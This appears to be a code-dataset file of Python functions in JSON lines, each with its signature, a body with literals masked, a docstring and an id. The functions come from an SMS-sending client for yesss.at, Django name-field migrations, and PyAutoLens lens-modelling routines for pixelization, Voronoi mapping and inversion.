{"signature": "def _login(self, session, get_request=False):", "body": "req = session.post(self._login_url, data=self._logindata)<EOL>if _LOGIN_ERROR_STRING in req.text orreq.status_code == <NUM_LIT> orreq.url == _LOGIN_URL:<EOL><INDENT>err_mess = \"<STR_LIT>\"<EOL>if _LOGIN_LOCKED_MESS in req.text:<EOL><INDENT>err_mess += \"<STR_LIT>\" + _LOGIN_LOCKED_MESS_ENG<EOL>self._suspended = True<EOL>raise self.AccountSuspendedError(err_mess)<EOL><DEDENT>raise self.LoginError(err_mess)<EOL><DEDENT>self._suspended = False  <EOL>return (session, req) if get_request else session<EOL>", "docstring": "Return a session for yesss.at.", "id": "f5903:c0:m1"}
{"signature": "def account_is_suspended(self):", "body": "return self._suspended<EOL>", "docstring": "Return if account is suspended.", "id": "f5903:c0:m2"}
{"signature": "def login_data_valid(self):", "body": "login_working = False<EOL>try:<EOL><INDENT>with self._login(requests.Session()) as sess:<EOL><INDENT>sess.get(self._logout_url)<EOL><DEDENT><DEDENT>except self.LoginError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>login_working = True<EOL><DEDENT>return login_working<EOL>", "docstring": "Check for working login data.", "id": "f5903:c0:m3"}
{"signature": "def send(self, recipient, message):", "body": "if self._logindata['<STR_LIT>'] is None orself._logindata['<STR_LIT>'] is None:<EOL><INDENT>err_mess = \"<STR_LIT>\"<EOL>raise self.LoginError(err_mess)<EOL><DEDENT>if not recipient:<EOL><INDENT>raise self.NoRecipientError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(recipient, str):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not message:<EOL><INDENT>raise self.EmptyMessageError(\"<STR_LIT>\")<EOL><DEDENT>with self._login(requests.Session()) as sess:<EOL><INDENT>sms_data = {'<STR_LIT>': recipient, '<STR_LIT>': message}<EOL>req = sess.post(self._websms_url, data=sms_data)<EOL>if not (req.status_code == <NUM_LIT:200> or req.status_code == <NUM_LIT>):<EOL><INDENT>raise self.SMSSendingError(\"<STR_LIT>\")<EOL><DEDENT>if _UNSUPPORTED_CHARS_STRING in req.text:<EOL><INDENT>raise self.UnsupportedCharsError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if _SMS_SENDING_SUCCESSFUL_STRING not in req.text:<EOL><INDENT>raise self.SMSSendingError(\"<STR_LIT>\")<EOL><DEDENT>sess.get(self._logout_url)<EOL><DEDENT>", "docstring": "Send an SMS.", "id": "f5903:c0:m4"}
{"signature": "def version(self):", "body": "return self._version<EOL>", "docstring": "Get version of YesssSMS package.", "id": "f5903:c0:m5"}
{"signature": "def forwards(self, orm):", "body": "<EOL>for translation in orm['<STR_LIT>'].objects.all():<EOL><INDENT>if translation.language in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>translation.roman_first_name = translation.first_name<EOL>translation.roman_last_name = translation.last_name<EOL><DEDENT>else:<EOL><INDENT>translation.non_roman_first_name = translation.first_name<EOL>translation.non_roman_last_name = translation.last_name<EOL><DEDENT>translation.save()<EOL><DEDENT>", "docstring": "Write your forwards methods here.", "id": "f5925:c0:m0"}
{"signature": "def backwards(self, orm):", "body": "", "docstring": "Write your backwards methods here.", "id": "f5925:c0:m1"}
{"signature": "def forwards(self, orm):", "body": "for translation in orm['<STR_LIT>'].objects.all():<EOL><INDENT>translation.person.roman_first_name = translation.roman_first_name<EOL>translation.person.roman_last_name = translation.roman_last_name<EOL>translation.person.non_roman_first_name = translation.non_roman_first_name<EOL>translation.person.non_roman_last_name = translation.non_roman_last_name<EOL>translation.person.save()<EOL><DEDENT>", "docstring": "Write your forwards methods here.", "id": "f5932:c0:m0"}
{"signature": "def backwards(self, orm):", "body": "", "docstring": "Write your backwards methods here.", "id": "f5932:c0:m1"}
{"signature": "def get_gender(self):", "body": "if self.gender == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif self.gender == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Returns either 'Mr.' or 'Ms.' depending on the gender.", "id": "f5938:c3:m1"}
{"signature": "def get_title(self):", "body": "return self.title<EOL>", "docstring": "Returns the title of the person.", "id": "f5938:c3:m2"}
{"signature": "def get_romanized_first_name(self):", "body": "return self.roman_first_name<EOL>", "docstring": "Returns the first name in roman letters.", "id": "f5938:c3:m3"}
{"signature": "def get_romanized_last_name(self):", "body": "return self.roman_last_name<EOL>", "docstring": "Returns the first name in roman letters.", "id": "f5938:c3:m4"}
{"signature": "def get_non_romanized_first_name(self):", "body": "return self.non_roman_first_name<EOL>", "docstring": "Returns the non roman version of the first name.", "id": "f5938:c3:m5"}
{"signature": "def get_non_romanized_last_name(self):", "body": "return self.non_roman_last_name<EOL>", "docstring": "Returns the non roman version of the first name.", "id": "f5938:c3:m6"}
{"signature": "def get_nickname(self):", "body": "return self.chosen_name<EOL>", "docstring": "Returns the nickname of a person in roman letters.", "id": "f5938:c3:m7"}
{"signature": "def setup_image_plane_pixelization_grid_from_galaxies_and_grid_stack(galaxies, grid_stack):", "body": "if not isinstance(grid_stack.regular, grids.PaddedRegularGrid):<EOL><INDENT>for galaxy in galaxies:<EOL><INDENT>if hasattr(galaxy, '<STR_LIT>'):<EOL><INDENT>if isinstance(galaxy.pixelization, ImagePlanePixelization):<EOL><INDENT>image_plane_pix_grid = galaxy.pixelization.image_plane_pix_grid_from_regular_grid(<EOL>regular_grid=grid_stack.regular)<EOL>return grid_stack.new_grid_stack_with_pix_grid_added(pix_grid=image_plane_pix_grid.sparse_grid,<EOL>regular_to_nearest_pix=image_plane_pix_grid.regular_to_sparse)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return grid_stack<EOL>", "docstring": "An image-plane pixelization is one where its pixel centres are computed by tracing a sparse grid of pixels from \\\n    the image's regular grid to other planes (e.g. the source-plane).\n\n    Provided a galaxy has an image-plane pixelization, this function returns a new *GridStack* instance where the \\\n    image-plane pixelization's sparse grid is added to it as an attibute.\n\n    Thus, when the *GridStack* are are passed to the *ray_tracing* module this sparse grid is also traced and the \\\n    traced coordinates represent the centre of each pixelization pixel.\n\n    Parameters\n    -----------\n    galaxies : [model.galaxy.galaxy.Galaxy]\n        A list of galaxies, which may contain pixelizations and an *ImagePlanePixelization*.\n    grid_stacks : image.array.grid_stacks.GridStack\n        The collection of grid_stacks (regular, sub, etc.) which the image-plane pixelization grid (referred to as pix) \\\n        may be added to.", "id": "f5940:m0"}
{"signature": "def __init__(self, shape):", "body": "self.shape = (int(shape[<NUM_LIT:0>]), int(shape[<NUM_LIT:1>]))<EOL>", "docstring": "An image-plane pixelization is one where its pixel centres are computed by tracing a sparse grid of pixels \\\n        from the image's regular grid to other planes (e.g. the source-plane).\n\n        The traced coordinates of this sparse grid represent each centre of a pixelization pixel.\n\n        See *grid_stacks.SparseToRegularGrid* for details on how this grid is calculated.\n\n        Parameters\n        -----------\n        shape : (float, float) or (int, int)\n            The shape of the image-plane pixelizaton grid in pixels (floats are converted to integers). The grid is \\\n            laid over the masked image such that it spans the most outer pixels of the masks.", "id": "f5940:c0:m0"}
{"signature": "def image_plane_pix_grid_from_regular_grid(self, regular_grid):", "body": "pixel_scale = regular_grid.mask.pixel_scale<EOL>pixel_scales = ((regular_grid.masked_shape_arcsec[<NUM_LIT:0>] + pixel_scale) / (self.shape[<NUM_LIT:0>]),<EOL>(regular_grid.masked_shape_arcsec[<NUM_LIT:1>] + pixel_scale) / (self.shape[<NUM_LIT:1>]))<EOL>return grids.SparseToRegularGrid(unmasked_sparse_grid_shape=self.shape, pixel_scales=pixel_scales,<EOL>regular_grid=regular_grid, origin=regular_grid.mask.centre)<EOL>", "docstring": "Calculate the image-plane pixelization from a regular-grid of coordinates (and its mask).\n\n        See *grid_stacks.SparseToRegularGrid* for details on how this grid is calculated.\n\n        Parameters\n        -----------\n        regular_grid : grids.RegularGrid\n            The grid of (y,x) arc-second coordinates at the centre of every image value (e.g. image-pixels).", "id": "f5940:c0:m1"}
{"signature": "def __init__(self):", "body": "", "docstring": "Abstract base class for a pixelization, which discretizes grid_stack of (y,x) coordinates into pixels.", "id": "f5940:c1:m0"}
{"signature": "def __init__(self, shape=(<NUM_LIT:3>, <NUM_LIT:3>)):", "body": "if shape[<NUM_LIT:0>] <= <NUM_LIT:2> or shape[<NUM_LIT:1>] <= <NUM_LIT:2>:<EOL><INDENT>raise exc.PixelizationException('<STR_LIT>')<EOL><DEDENT>self.shape = (int(shape[<NUM_LIT:0>]), int(shape[<NUM_LIT:1>]))<EOL>self.pixels = self.shape[<NUM_LIT:0>] * self.shape[<NUM_LIT:1>]<EOL>super(Rectangular, self).__init__()<EOL>", "docstring": "A rectangular pixelization, where pixels are defined on a Cartesian and uniform grid of shape \\ \n        (rows, columns).\n\n        Like arrays, the indexing of the rectangular grid begins in the top-left corner and goes right and down.\n\n        Parameters\n        -----------\n        shape : (int, int)\n            The dimensions of the rectangular grid of pixels (y_pixels, x_pixel)", "id": "f5940:c2:m0"}
{"signature": "def geometry_from_grid(self, grid, buffer=<NUM_LIT>):", "body": "y_min = np.min(grid[:, <NUM_LIT:0>]) - buffer<EOL>y_max = np.max(grid[:, <NUM_LIT:0>]) + buffer<EOL>x_min = np.min(grid[:, <NUM_LIT:1>]) - buffer<EOL>x_max = np.max(grid[:, <NUM_LIT:1>]) + buffer<EOL>pixel_scales = (float((y_max - y_min) / self.shape[<NUM_LIT:0>]), float((x_max - x_min) / self.shape[<NUM_LIT:1>]))<EOL>origin = ((y_max + y_min) / <NUM_LIT>, (x_max + x_min) / <NUM_LIT>)<EOL>pixel_neighbors, pixel_neighbors_size = self.neighbors_from_pixelization()<EOL>return self.Geometry(shape=self.shape, pixel_scales=pixel_scales, origin=origin,<EOL>pixel_neighbors=pixel_neighbors, pixel_neighbors_size=pixel_neighbors_size)<EOL>", "docstring": "Determine the geometry of the rectangular grid, by overlaying it over a grid of coordinates such that its \\\n         outer-most pixels align with the grid's outer most coordinates plus a small buffer.\n\n        Parameters\n        -----------\n        grid : ndarray\n            The (y,x) grid of coordinates over which the rectangular pixelization is placed to determine its geometry.\n        buffer : float\n            The size the pixelization is buffered relative to the grid.", "id": "f5940:c2:m1"}
{"signature": "def mapper_from_grid_stack_and_border(self, grid_stack, border):", "body": "if border is not None:<EOL><INDENT>relocated_grid_stack = border.relocated_grid_stack_from_grid_stack(grid_stack)<EOL><DEDENT>else:<EOL><INDENT>relocated_grid_stack = grid_stack<EOL><DEDENT>geometry = self.geometry_from_grid(grid=relocated_grid_stack.sub)<EOL>return mappers.RectangularMapper(pixels=self.pixels, grid_stack=relocated_grid_stack, border=border,<EOL>shape=self.shape, geometry=geometry)<EOL>", "docstring": "Setup a rectangular mapper from a rectangular pixelization, as follows:\n\n        1) If a border is supplied, relocate all of the grid-stack's regular and sub grid pixels beyond the border.\n        2) Determine the rectangular pixelization's geometry, by laying the pixelization over the sub-grid.\n        3) Setup the rectangular mapper from the relocated grid-stack and rectangular pixelization.\n\n        Parameters\n        ----------\n        grid_stack : grids.GridStack\n            A stack of grid describing the observed image's pixel coordinates (e.g. an image-grid, sub-grid, etc.).\n        border : grids.RegularGridBorder | None\n            The border of the grid-stack's regular-grid.", "id": "f5940:c2:m3"}
{"signature": "def __init__(self):", "body": "super(Voronoi, self).__init__()<EOL>", "docstring": "Abstract base class for a Voronoi pixelization, which represents pixels as an irregular grid of Voronoi \\\n         cells which can form any shape, size or tesselation.\n\n         The grid-stack's coordinates are paired to Voronoi pixels as the nearest-neighbors of the Voronoi \\\n        pixel-centers.", "id": "f5940:c3:m0"}
{"signature": "def geometry_from_grid(self, grid, pixel_centres, pixel_neighbors, pixel_neighbors_size, buffer=<NUM_LIT>):", "body": "y_min = np.min(grid[:, <NUM_LIT:0>]) - buffer<EOL>y_max = np.max(grid[:, <NUM_LIT:0>]) + buffer<EOL>x_min = np.min(grid[:, <NUM_LIT:1>]) - buffer<EOL>x_max = np.max(grid[:, <NUM_LIT:1>]) + buffer<EOL>shape_arcsec = (y_max - y_min, x_max - x_min)<EOL>origin = ((y_max + y_min) / <NUM_LIT>, (x_max + x_min) / <NUM_LIT>)<EOL>return self.Geometry(shape_arcsec=shape_arcsec, pixel_centres=pixel_centres, origin=origin,<EOL>pixel_neighbors=pixel_neighbors, pixel_neighbors_size=pixel_neighbors_size)<EOL>", "docstring": "Determine the geometry of the Voronoi pixelization, by alligning it with the outer-most coordinates on a \\\n        grid plus a small buffer.\n\n        Parameters\n        -----------\n        grid : ndarray\n            The (y,x) grid of coordinates which determine the Voronoi pixelization's geometry.\n        pixel_centres : ndarray\n            The (y,x) centre of every Voronoi pixel in arc-seconds.\n        origin : (float, float)\n            The arc-second origin of the Voronoi pixelization's coordinate system.\n        pixel_neighbors : ndarray\n            An array of length (voronoi_pixels) which provides the index of all neighbors of every pixel in \\\n            the Voronoi grid (entries of -1 correspond to no neighbor).\n        pixel_neighbors_size : ndarrayy\n            An array of length (voronoi_pixels) which gives the number of neighbors of every pixel in the \\\n            Voronoi grid.", "id": "f5940:c3:m1"}
{"signature": "@staticmethod<EOL><INDENT>def voronoi_from_pixel_centers(pixel_centers):<DEDENT>", "body": "return scipy.spatial.Voronoi(np.asarray([pixel_centers[:, <NUM_LIT:1>], pixel_centers[:, <NUM_LIT:0>]]).T,<EOL>qhull_options='<STR_LIT>')<EOL>", "docstring": "Compute the Voronoi grid of the pixelization, using the pixel centers.\n\n        Parameters\n        ----------\n        pixel_centers : ndarray\n            The (y,x) centre of every Voronoi pixel.", "id": "f5940:c3:m2"}
{"signature": "def neighbors_from_pixelization(self, pixels, ridge_points):", "body": "return pixelization_util.voronoi_neighbors_from_pixels_and_ridge_points(pixels=pixels,<EOL>ridge_points=np.asarray(ridge_points))<EOL>", "docstring": "Compute the neighbors of every Voronoi pixel as an ndarray of the pixel index's each pixel shares a \\\n        vertex with.\n\n        The ridge points of the Voronoi grid are used to derive this.\n\n        Parameters\n        ----------\n        ridge_points : scipy.spatial.Voronoi.ridge_points\n            Each Voronoi-ridge (two indexes representing a pixel mapping_matrix).", "id": "f5940:c3:m3"}
{"signature": "def __init__(self, shape=(<NUM_LIT:3>, <NUM_LIT:3>)):", "body": "super(AdaptiveMagnification, self).__init__()<EOL>ImagePlanePixelization.__init__(self=self, shape=shape)<EOL>", "docstring": "A pixelization which adapts to the magnification pattern of a lens's mass model and uses a Voronoi \\\n        pixelization to discretize the grid into pixels.\n\n        Parameters\n        ----------\n        shape : (int, int)\n            The shape of the unmasked sparse-grid which is laid over the masked image, in order to derive the \\\n            adaptive-magnification pixelization (see *ImagePlanePixelization*)", "id": "f5940:c4:m0"}
{"signature": "def mapper_from_grid_stack_and_border(self, grid_stack, border):", "body": "if border is not None:<EOL><INDENT>relocated_grids = border.relocated_grid_stack_from_grid_stack(grid_stack)<EOL><DEDENT>else:<EOL><INDENT>relocated_grids = grid_stack<EOL><DEDENT>pixel_centres = relocated_grids.pix<EOL>pixels = pixel_centres.shape[<NUM_LIT:0>]<EOL>voronoi = self.voronoi_from_pixel_centers(pixel_centres)<EOL>pixel_neighbors, pixel_neighbors_size = self.neighbors_from_pixelization(pixels=pixels,<EOL>ridge_points=voronoi.ridge_points)<EOL>geometry = self.geometry_from_grid(grid=relocated_grids.sub, pixel_centres=pixel_centres,<EOL>pixel_neighbors=pixel_neighbors,<EOL>pixel_neighbors_size=pixel_neighbors_size)<EOL>return mappers.VoronoiMapper(pixels=pixels, grid_stack=relocated_grids, border=border,<EOL>voronoi=voronoi, geometry=geometry)<EOL>", "docstring": "Setup a Voronoi mapper from an adaptive-magnification pixelization, as follows:\n\n        1) (before this routine is called), setup the 'pix' grid as part of the grid-stack, which corresponds to a \\\n           sparse set of pixels in the image-plane which are traced to form the pixel centres.\n        2) If a border is supplied, relocate all of the grid-stack's regular, sub and pix grid pixels beyond the border.\n        3) Determine the adaptive-magnification pixelization's pixel centres, by extracting them from the relocated \\\n           pix grid.\n        4) Use these pixelization centres to setup the Voronoi pixelization.\n        5) Determine the neighbors of every Voronoi cell in the Voronoi pixelization.\n        6) Setup the geometry of the pixelizatioon using the relocated sub-grid and Voronoi pixelization.\n        7) Setup a Voronoi mapper from all of the above quantities.\n\n        Parameters\n        ----------\n        grid_stack : grids.GridStack\n            A collection of grid describing the observed image's pixel coordinates (includes an image and sub grid).\n        border : grids.RegularGridBorder\n            The borders of the grid_stacks (defined by their image-plane masks).", "id": "f5940:c4:m1"}
{"signature": "def __init__(self, image_1d, noise_map_1d, convolver, mapper, regularization):", "body": "self.mapper = mapper<EOL>self.regularization = regularization<EOL>self.blurred_mapping_matrix = convolver.convolve_mapping_matrix(mapping_matrix=mapper.mapping_matrix)<EOL>self.data_vector = inversion_util.data_vector_from_blurred_mapping_matrix_and_data(<EOL>blurred_mapping_matrix=self.blurred_mapping_matrix, image_1d=image_1d, noise_map_1d=noise_map_1d)<EOL>self.curvature_matrix = inversion_util.curvature_matrix_from_blurred_mapping_matrix(<EOL>blurred_mapping_matrix=self.blurred_mapping_matrix, noise_map_1d=noise_map_1d)<EOL>self.regularization_matrix =regularization.regularization_matrix_from_pixel_neighbors(pixel_neighbors=mapper.geometry.pixel_neighbors,<EOL>pixel_neighbors_size=mapper.geometry.pixel_neighbors_size)<EOL>self.curvature_reg_matrix = np.add(self.curvature_matrix, self.regularization_matrix)<EOL>self.solution_vector = np.linalg.solve(self.curvature_reg_matrix, self.data_vector)<EOL>", "docstring": "An inversion, which given an input image and noise-map reconstructs the image using a linear inversion, \\\n        including a convolution that accounts for blurring.\n\n        The inversion uses a 2D pixelization to perform the reconstruction by mapping each pixelization pixel to a \\\n        set of image pixels via a mapper. The reconstructed pixelization is smoothed via a regularization scheme to \\\n        prevent over-fitting noise.\n\n        Parameters\n        -----------\n        image_1d : ndarray\n            Flattened 1D array of the observed image the inversion is fitting.\n        noise_map_1d : ndarray\n            Flattened 1D array of the noise-map used by the inversion during the fit.   \n        convolver : ccd.convolution.Convolver\n            The convolver used to blur the mapping matrix with the PSF.\n        mapper : inversion.mappers.Mapper\n            The mapping between the image-pixels (via its regular / sub-grid) and pixelization pixels.\n        regularization : inversion.regularization.Regularization\n            The regularization scheme applied to smooth the pixelization used to reconstruct the image for the \\\n            inversion\n\n        Attributes\n        -----------\n        blurred_mapping_matrix : ndarray\n            The matrix representing the blurred mappings between the image's sub-grid of pixels and the pixelization \\\n            pixels.\n        regularization_matrix : ndarray\n            The matrix defining how the pixelization's pixels are regularized with one another for smoothing (H).\n        curvature_matrix : ndarray\n            The curvature_matrix between each pixelization pixel and all other pixelization pixels (F).\n        curvature_reg_matrix : ndarray\n            The curvature_matrix + regularization matrix.\n        solution_vector : ndarray\n            The vector containing the reconstructed fit to the hyper.", "id": "f5941:c0:m0"}
{"signature": "@property<EOL><INDENT>def regularization_term(self):<DEDENT>", "body": "return np.matmul(self.solution_vector.T, np.matmul(self.regularization_matrix, self.solution_vector))<EOL>", "docstring": "Compute the regularization term of an inversion. This term represents the sum of the difference in flux \\\n        between every pair of neighboring pixels. This is computed as:\n\n        s_T * H * s = solution_vector.T * regularization_matrix * solution_vector\n\n        The term is referred to as *G_l* in Warren & Dye 2003, Nightingale & Dye 2015.\n\n        The above works include the regularization_matrix coefficient (lambda) in this calculation. In PyAutoLens, \\\n        this is already in the regularization matrix and thus implicitly included in the matrix multiplication.", "id": "f5941:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def log_determinant_of_matrix_cholesky(matrix):<DEDENT>", "body": "try:<EOL><INDENT>return <NUM_LIT> * np.sum(np.log(np.diag(np.linalg.cholesky(matrix))))<EOL><DEDENT>except np.linalg.LinAlgError:<EOL><INDENT>raise exc.InversionException()<EOL><DEDENT>", "docstring": "There are two terms in the inversion's Bayesian likelihood function which require the log determinant of \\\n        a matrix. These are (Nightingale & Dye 2015, Nightingale, Dye and Massey 2018):\n\n        ln[det(F + H)] = ln[det(curvature_reg_matrix)]\n        ln[det(H)]     = ln[det(regularization_matrix)]\n\n        The curvature_reg_matrix is positive-definite, which means the above log determinants can be computed \\\n        efficiently (compared to using np.det) by using a Cholesky decomposition first and summing the log of each \\\n        diagonal term.\n\n        Parameters\n        -----------\n        matrix : ndarray\n            The positive-definite matrix the log determinant is computed for.", "id": "f5941:c0:m6"}
{"signature": "@decorator_util.jit()<EOL>def mapping_matrix_from_sub_to_pix(sub_to_pix, pixels, regular_pixels, sub_to_regular, sub_grid_fraction):", "body": "mapping_matrix = np.zeros((regular_pixels, pixels))<EOL>for sub_index in range(sub_to_regular.shape[<NUM_LIT:0>]):<EOL><INDENT>mapping_matrix[sub_to_regular[sub_index], sub_to_pix[sub_index]] += sub_grid_fraction<EOL><DEDENT>return mapping_matrix<EOL>", "docstring": "Computes the mapping matrix, by iterating over the known mappings between the sub-grid and pixelization.\n\n    Parameters\n    -----------\n    sub_to_pix : ndarray\n        The mappings between the observed regular's sub-pixels and pixelization's pixels.\n    pixels : int\n        The number of pixels in the pixelization.\n    regular_pixels : int\n        The number of datas pixels in the observed datas and thus on the regular grid.\n    sub_to_regular : ndarray\n        The mappings between the observed regular's sub-pixels and observed regular's pixels.\n    sub_grid_fraction : float\n        The fractional area each sub-pixel takes up in an regular-pixel.", "id": "f5942:m0"}
{"signature": "@decorator_util.jit()<EOL>def voronoi_regular_to_pix_from_grids_and_geometry(regular_grid, regular_to_nearest_pix, pixel_centres,<EOL>pixel_neighbors, pixel_neighbors_size):", "body": "regular_to_pix = np.zeros((regular_grid.shape[<NUM_LIT:0>]))<EOL>for regular_index in range(regular_grid.shape[<NUM_LIT:0>]):<EOL><INDENT>nearest_pix_pixel_index = regular_to_nearest_pix[regular_index]<EOL>while True:<EOL><INDENT>nearest_pix_pixel_center = pixel_centres[nearest_pix_pixel_index]<EOL>sub_to_nearest_pix_distance = (regular_grid[regular_index, <NUM_LIT:0>] - nearest_pix_pixel_center[<NUM_LIT:0>]) ** <NUM_LIT:2> +(regular_grid[regular_index, <NUM_LIT:1>] - nearest_pix_pixel_center[<NUM_LIT:1>]) ** <NUM_LIT:2><EOL>closest_separation_from_pix_neighbor = <NUM_LIT><EOL>for neighbor_index in range(pixel_neighbors_size[nearest_pix_pixel_index]):<EOL><INDENT>neighbor = pixel_neighbors[nearest_pix_pixel_index, neighbor_index]<EOL>separation_from_neighbor = (regular_grid[regular_index, <NUM_LIT:0>] - pixel_centres[neighbor, <NUM_LIT:0>]) ** <NUM_LIT:2> +(regular_grid[regular_index, <NUM_LIT:1>] - pixel_centres[neighbor, <NUM_LIT:1>]) ** <NUM_LIT:2><EOL>if separation_from_neighbor < closest_separation_from_pix_neighbor:<EOL><INDENT>closest_separation_from_pix_neighbor = separation_from_neighbor<EOL>closest_neighbor_index = neighbor_index<EOL><DEDENT><DEDENT>neighboring_pix_pixel_index = pixel_neighbors[nearest_pix_pixel_index, closest_neighbor_index]<EOL>sub_to_neighboring_pix_distance = closest_separation_from_pix_neighbor<EOL>if sub_to_nearest_pix_distance <= sub_to_neighboring_pix_distance:<EOL><INDENT>regular_to_pix[regular_index] = nearest_pix_pixel_index<EOL>break<EOL><DEDENT>else:<EOL><INDENT>nearest_pix_pixel_index = neighboring_pix_pixel_index<EOL><DEDENT><DEDENT><DEDENT>return regular_to_pix<EOL>", "docstring": "Compute the mappings between a set of regular-grid pixels and pixelization pixels, using information on \\\n    how regular pixels map to their closest pixelization pixel on the image-plane pix-grid and the pixelization's \\\n    pixel centres.\n\n    To determine the complete set of regular-pixel to pixelization pixel mappings, we must pair every regular-pixel to \\\n    its nearest pixel. Using a full nearest neighbor search to do this is slow, thus the pixel neighbors (derived via \\\n    the Voronoi grid) are used to localize each nearest neighbor search via a graph search.\n\n    Parameters\n    ----------\n    regular_grid : RegularGrid\n        The grid of (y,x) arc-second coordinates at the centre of every unmasked pixel, which has been traced to \\\n        to an irregular grid via lens.\n    regular_to_nearest_pix : ndarray\n        A 1D array that maps every regular-grid pixel to its nearest pix-grid pixel (as determined on the unlensed \\\n        2D array).\n    pixel_centres : ndarray\n        The (y,x) centre of every Voronoi pixel in arc-seconds.\n    pixel_neighbors : ndarray\n        An array of length (voronoi_pixels) which provides the index of all neighbors of every pixel in \\\n        the Voronoi grid (entries of -1 correspond to no neighbor).\n    pixel_neighbors_size : ndarray\n        An array of length (voronoi_pixels) which gives the number of neighbors of every pixel in the \\\n        Voronoi grid.", "id": "f5942:m1"}
{"signature": "@decorator_util.jit()<EOL>def voronoi_sub_to_pix_from_grids_and_geometry(sub_grid, regular_to_nearest_pix, sub_to_regular, pixel_centres,<EOL>pixel_neighbors, pixel_neighbors_size):", "body": "sub_to_pix = np.zeros((sub_grid.shape[<NUM_LIT:0>]))<EOL>for sub_index in range(sub_grid.shape[<NUM_LIT:0>]):<EOL><INDENT>nearest_pix_pixel_index = regular_to_nearest_pix[sub_to_regular[sub_index]]<EOL>while True:<EOL><INDENT>nearest_pix_pixel_center = pixel_centres[nearest_pix_pixel_index]<EOL>sub_to_nearest_pix_distance = (sub_grid[sub_index, <NUM_LIT:0>] - nearest_pix_pixel_center[<NUM_LIT:0>]) ** <NUM_LIT:2> +(sub_grid[sub_index, <NUM_LIT:1>] - nearest_pix_pixel_center[<NUM_LIT:1>]) ** <NUM_LIT:2><EOL>closest_separation_from_pix_to_neighbor = <NUM_LIT><EOL>for neighbor_index in range(pixel_neighbors_size[nearest_pix_pixel_index]):<EOL><INDENT>neighbor = pixel_neighbors[nearest_pix_pixel_index, neighbor_index]<EOL>separation_from_neighbor = (sub_grid[sub_index, <NUM_LIT:0>] - pixel_centres[neighbor, <NUM_LIT:0>]) ** <NUM_LIT:2> +(sub_grid[sub_index, <NUM_LIT:1>] - pixel_centres[neighbor, <NUM_LIT:1>]) ** <NUM_LIT:2><EOL>if separation_from_neighbor < closest_separation_from_pix_to_neighbor:<EOL><INDENT>closest_separation_from_pix_to_neighbor = separation_from_neighbor<EOL>closest_neighbor_index = neighbor_index<EOL><DEDENT><DEDENT>neighboring_pix_pixel_index = pixel_neighbors[nearest_pix_pixel_index, closest_neighbor_index]<EOL>sub_to_neighboring_pix_distance = closest_separation_from_pix_to_neighbor<EOL>if sub_to_nearest_pix_distance <= sub_to_neighboring_pix_distance:<EOL><INDENT>sub_to_pix[sub_index] = nearest_pix_pixel_index<EOL>break<EOL><DEDENT>else:<EOL><INDENT>nearest_pix_pixel_index = neighboring_pix_pixel_index<EOL><DEDENT><DEDENT><DEDENT>return sub_to_pix<EOL>", "docstring": "Compute the mappings between a set of sub-grid pixels and pixelization pixels, using information on \\\n    how the regular pixels hosting each sub-pixel map to their closest pixelization pixel on the image-plane pix-grid \\\n    and the pixelization's pixel centres.\n\n    To determine the complete set of sub-pixel to pixelization pixel mappings, we must pair every sub-pixel to \\\n    its nearest pixel. Using a full nearest neighbor search to do this is slow, thus the pixel neighbors (derived via \\\n    the Voronoi grid) are used to localize each nearest neighbor search by using a graph search.\n\n    Parameters\n    ----------\n    regular_grid : RegularGrid\n        The grid of (y,x) arc-second coordinates at the centre of every unmasked pixel, which has been traced to \\\n        to an irregular grid via lens.\n    regular_to_nearest_pix : ndarray\n        A 1D array that maps every regular-grid pixel to its nearest pix-grid pixel (as determined on the unlensed \\\n        2D array).\n    pixel_centres : (float, float)\n        The (y,x) centre of every Voronoi pixel in arc-seconds.\n    pixel_neighbors : ndarray\n        An array of length (voronoi_pixels) which provides the index of all neighbors of every pixel in \\\n        the Voronoi grid (entries of -1 correspond to no neighbor).\n    pixel_neighbors_size : ndarray\n        An array of length (voronoi_pixels) which gives the number of neighbors of every pixel in the \\\n        Voronoi grid.", "id": "f5942:m2"}
{"signature": "@decorator_util.jit()<EOL>def constant_regularization_matrix_from_pixel_neighbors(coefficients, pixel_neighbors, pixel_neighbors_size):", "body": "pixels = len(pixel_neighbors)<EOL>regularization_matrix = np.zeros(shape=(pixels, pixels))<EOL>regularization_coefficient = coefficients[<NUM_LIT:0>] ** <NUM_LIT><EOL>for i in range(pixels):<EOL><INDENT>regularization_matrix[i, i] += <NUM_LIT><EOL>for j in range(pixel_neighbors_size[i]):<EOL><INDENT>neighbor_index = pixel_neighbors[i, j]<EOL>regularization_matrix[i, i] += regularization_coefficient<EOL>regularization_matrix[i, neighbor_index] -= regularization_coefficient<EOL><DEDENT><DEDENT>return regularization_matrix<EOL>", "docstring": "From the pixel-neighbors, setup the regularization matrix using the constant regularization scheme.\n\n    Parameters\n    ----------\n    coefficients : tuple\n        The regularization coefficients which controls the degree of smoothing of the inversion reconstruction.\n    pixel_neighbors : ndarray\n        An array of length (total_pixels) which provides the index of all neighbors of every pixel in \\\n        the Voronoi grid (entries of -1 correspond to no neighbor).\n    pixel_neighbors_size : ndarrayy\n        An array of length (total_pixels) which gives the number of neighbors of every pixel in the \\\n        Voronoi grid.", "id": "f5943:m0"}
